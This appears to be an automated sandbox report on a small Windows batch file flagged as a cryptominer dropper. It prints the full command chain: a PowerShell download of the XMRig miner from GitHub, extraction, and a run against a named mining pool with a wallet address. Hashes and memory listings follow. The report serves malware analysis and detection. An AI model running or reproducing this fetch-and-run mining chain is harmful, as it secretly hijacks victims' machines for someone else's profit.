Analysis

  • max time kernel
    1794s
  • max time network
    1787s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 21:51

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1868
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4428

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9bf5b7b3440c5ad7b4cbd541f70e6285

    SHA1

    e3fc820d375d7cf363245540e387eee8e94be115

    SHA256

    7da31c5fe8bed3b0c2130c24c3feed6dbe9bc6f75c17dc0fbb78a70c1eb0a541

    SHA512

    4edd0e4ff1b63b563fc79612d299fc424cceebde63abe26a0b6013cdcf56911109ae00137f10e4239f274b64448caf9f47fb7d62f82ef810b9bbe4b21a045931

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2w1n14m3.wjr.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    203KB

    MD5

    78c635d8f13e8009bed44f5d4e56c4ed

    SHA1

    33555b462b89381d13ee1acf2e3260e1eea75bd7

    SHA256

    522e6593ed91d0b2c3840e3fd1df5e8c824299e3c0ad59ad6353e40ff87818bb

    SHA512

    2d28495fcf6a13aa7a43acdd7c9cef47ae6b635bb6d464c0c9932384413144f31f490721ba46856ec43e65533af8a3bc630d9f5906e0f7ed06e516b62067d131

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    185KB

    MD5

    7e1766649b24139328245ab2bb4bc134

    SHA1

    319aa0aec70829423a51882e59bb7f91fc9fd4ff

    SHA256

    39488134ec47ee6f2498674de4ef6a900e5d9da4d9b2112b30a9409663e5c541

    SHA512

    53848642138eaa57f314025b5da17ccf580b0f724e61a96c7a7011ba9a0da283fc12658037848ce2cd942015e09cf0ad6bc309103daf90b65dd737630004e3a3

  • memory/1136-4-0x0000019AB0C30000-0x0000019AB0C52000-memory.dmp

    Filesize

    136KB

  • memory/1136-5-0x00007FFE56930000-0x00007FFE5731C000-memory.dmp

    Filesize

    9.9MB

  • memory/1136-6-0x0000019A988E0000-0x0000019A988F0000-memory.dmp

    Filesize

    64KB

  • memory/1136-7-0x0000019A988E0000-0x0000019A988F0000-memory.dmp

    Filesize

    64KB

  • memory/1136-10-0x0000019AB0DE0000-0x0000019AB0E56000-memory.dmp

    Filesize

    472KB

  • memory/1136-25-0x0000019A988E0000-0x0000019A988F0000-memory.dmp

    Filesize

    64KB

  • memory/1136-30-0x00007FFE56930000-0x00007FFE5731C000-memory.dmp

    Filesize

    9.9MB

  • memory/1868-39-0x0000029CF8200000-0x0000029CF8210000-memory.dmp

    Filesize

    64KB

  • memory/1868-40-0x0000029CF8200000-0x0000029CF8210000-memory.dmp

    Filesize

    64KB

  • memory/1868-38-0x00007FFE56930000-0x00007FFE5731C000-memory.dmp

    Filesize

    9.9MB

  • memory/1868-62-0x0000029CF8200000-0x0000029CF8210000-memory.dmp

    Filesize

    64KB

  • memory/1868-89-0x0000029CF8190000-0x0000029CF819A000-memory.dmp

    Filesize

    40KB

  • memory/1868-76-0x0000029CF81B0000-0x0000029CF81C2000-memory.dmp

    Filesize

    72KB

  • memory/1868-113-0x00007FFE56930000-0x00007FFE5731C000-memory.dmp

    Filesize

    9.9MB

  • memory/4428-141-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-151-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-118-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-120-0x00000281E9CD0000-0x00000281E9CF0000-memory.dmp

    Filesize

    128KB

  • memory/4428-119-0x00000281E9CB0000-0x00000281E9CD0000-memory.dmp

    Filesize

    128KB

  • memory/4428-121-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-122-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-124-0x00000281E9CB0000-0x00000281E9CD0000-memory.dmp

    Filesize

    128KB

  • memory/4428-125-0x00000281E9CD0000-0x00000281E9CF0000-memory.dmp

    Filesize

    128KB

  • memory/4428-123-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-126-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-127-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-128-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-129-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-130-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-131-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-132-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-133-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-134-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-135-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-136-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-137-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-138-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-139-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-140-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-116-0x00000281E82A0000-0x00000281E82C0000-memory.dmp

    Filesize

    128KB

  • memory/4428-142-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-143-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-144-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-145-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-146-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-147-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-148-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-149-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-150-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-117-0x00000281E9C90000-0x00000281E9CB0000-memory.dmp

    Filesize

    128KB

  • memory/4428-152-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-153-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-154-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-155-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-156-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-157-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-158-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-159-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-160-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-161-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-162-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-163-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-164-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-165-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-166-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-167-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-168-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-169-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-170-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-171-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-172-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-173-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-174-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-175-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-176-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-177-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-178-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-179-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-180-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-181-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-182-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-183-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4428-184-0x00007FF6E09E0000-0x00007FF6E14E3000-memory.dmp

    Filesize

    11.0MB